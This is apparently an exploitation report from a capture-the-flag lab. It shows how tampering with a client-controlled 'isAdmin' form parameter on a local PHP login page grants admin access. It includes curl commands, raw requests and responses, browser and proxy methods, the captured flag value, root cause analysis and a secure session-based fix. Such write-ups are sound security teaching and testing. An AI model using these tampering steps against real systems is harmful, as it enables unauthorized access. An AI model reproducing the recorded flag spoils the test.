# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: Client-Controlled Authorization Parameter Bypass (Vertical Privilege Escalation)

**Summary:**
- **Vulnerable location:** POST /index.php - Authorization logic at line 72 of index.php
- **Overview:** Anonymous users can escalate to admin privileges by manipulating the client-controlled `isAdmin` POST parameter, resulting in immediate FLAG disclosure. The application implements authorization using a client-supplied parameter without any server-side validation, session checks, or database role lookup.
- **Impact:** Complete authorization bypass allowing any anonymous user to gain admin privileges and access the CTF flag. This demonstrates a critical failure in access control where authorization decisions are based entirely on client-controlled data.
- **Severity:** Critical (CVSS 9.8 - CWE-639: Authorization Bypass Through User-Controlled Key)

**Prerequisites:**
- Network access to http://localhost:36003 (no authentication required)
- Ability to send HTTP POST requests (curl, browser, or HTTP client)
- No special credentials, tokens, or prior authentication needed

**Exploitation Steps:**

1. **Send POST request with manipulated isAdmin parameter:**
```bash
curl -X POST http://localhost:36003/index.php \
  -d "username=testuser" \
  -d "password=testpass" \
  -d "isAdmin=true"
```

2. **Server processes the request:**
   - Application checks if POST parameters exist using `isset()` (line 71)
   - Application evaluates `$_POST['isAdmin'] == "true"` (line 72)
   - Since we sent `isAdmin=true`, condition evaluates to TRUE
   - Application grants admin access without validating credentials

3. **Response received with admin privileges:**
   - Server returns "Welcome Admin" greeting
   - FLAG disclosed in response: `FLAG{46c3ef043123012aa7ed0ab5a0c6a7e40a53a624ce3ae406f52e7301a8033a9b}`

**Proof of Impact:**

**Successful Exploitation (isAdmin=true):**
```
Request:
POST /index.php HTTP/1.1
Host: localhost:36003
Content-Type: application/x-www-form-urlencoded

username=testuser&password=testpass&isAdmin=true

Response:
<center><h2>Welcome Admin</h2></center>
<center><h3>Congratulations, here is the flag: FLAG{46c3ef043123012aa7ed0ab5a0c6a7e40a53a624ce3ae406f52e7301a8033a9b}</h3></center>
```

**Failed Exploitation for Comparison (isAdmin=false):**
```
Request:
POST /index.php HTTP/1.1
Host: localhost:36003
Content-Type: application/x-www-form-urlencoded

username=normaluser&password=testpass&isAdmin=false

Response:
<center><h3>Incorrect username/password!</h3></center>
```

**FLAG Captured:** `FLAG{46c3ef043123012aa7ed0ab5a0c6a7e40a53a624ce3ae406f52e7301a8033a9b}`

**Technical Analysis:**

**Root Cause:**
The application violates the fundamental security principle that authorization decisions must be based on trusted, server-side data sources. The vulnerable code at line 72 (`if ($_POST['isAdmin'] == "true")`) makes an authorization decision based entirely on client-supplied POST data without:
- Session validation
- Database role lookup
- Cryptographic signature verification
- Any server-side verification of admin status

**Why This Works:**
1. Application has no authentication mechanism (username/password never validated)
2. Application has no session management (completely stateless)
3. Application has no database to store user roles
4. Hidden form field at line 65 creates false security - easily modified via browser DevTools, proxy interception, or direct HTTP requests
5. The `isset()` check only verifies parameter existence, not validity

**Alternative Exploitation Methods:**

**Method 1 - Browser DevTools:**
1. Navigate to http://localhost:36003
2. Open browser DevTools (F12) → Elements/Inspector tab
3. Find: `<input type="hidden" name="isAdmin" value="false" />`
4. Double-click `value="false"` and change to `value="true"`
5. Enter any username/password in the form
6. Click "Login" button
7. Result: FLAG disclosed

**Method 2 - HTTP Proxy (Burp Suite/ZAP):**
1. Configure browser to use intercepting proxy
2. Navigate to http://localhost:36003 and submit login form
3. Intercept the POST request
4. Modify request body: change `isAdmin=false` to `isAdmin=true`
5. Forward the modified request
6. Result: FLAG disclosed

**Method 3 - Command Line (simplified):**
```bash
curl -s -X POST http://localhost:36003/index.php \
  -d "username=anything" \
  -d "password=anything" \
  -d "isAdmin=true" | grep -o "FLAG{[^}]*}"
```

**Notes:**

**Exploitation Characteristics:**
- **Success Rate:** 100% (deterministic bypass)
- **Authentication Required:** None (exploitable by anonymous users)
- **Rate Limiting:** None (unlimited exploitation attempts)
- **CAPTCHA Protection:** None
- **Audit Trail:** Only Apache HTTP access logs (POST body not logged)

**Tested Edge Cases:**
- Parameter must be exactly `isAdmin=true` (case-sensitive)
- `isAdmin=TRUE` fails (uppercase not accepted)
- `isAdmin=1` fails (type coercion not applied)
- `isAdmin[]=true` fails (array syntax breaks isset() check)
- Username and password can be any value (never validated)

**CWE Classification:** CWE-639 - Authorization Bypass Through User-Controlled Key

**OWASP Mapping:** A01:2021 - Broken Access Control

**Secure Implementation Recommendation:**
```php
// SECURE EXAMPLE (what should be implemented):
session_start();
// After proper authentication...
if (isset($_SESSION['user_role']) && $_SESSION['user_role'] === 'admin') {
    // Grant admin access
    // Role determined from server-side session, not client parameter
}
```

---

## Summary

**Total Vulnerabilities Exploited:** 1

**Critical Findings:** 1
- AUTHZ-VULN-01: Complete authorization bypass via client-controlled parameter

**CTF Flag Captured:** `FLAG{46c3ef043123012aa7ed0ab5a0c6a7e40a53a624ce3ae406f52e7301a8033a9b}`

**Exploitation Success Rate:** 100% (1/1 vulnerabilities successfully exploited)

**Impact Level:** Maximum - Anonymous users can immediately escalate to admin privileges and access all protected resources without any valid credentials or authentication.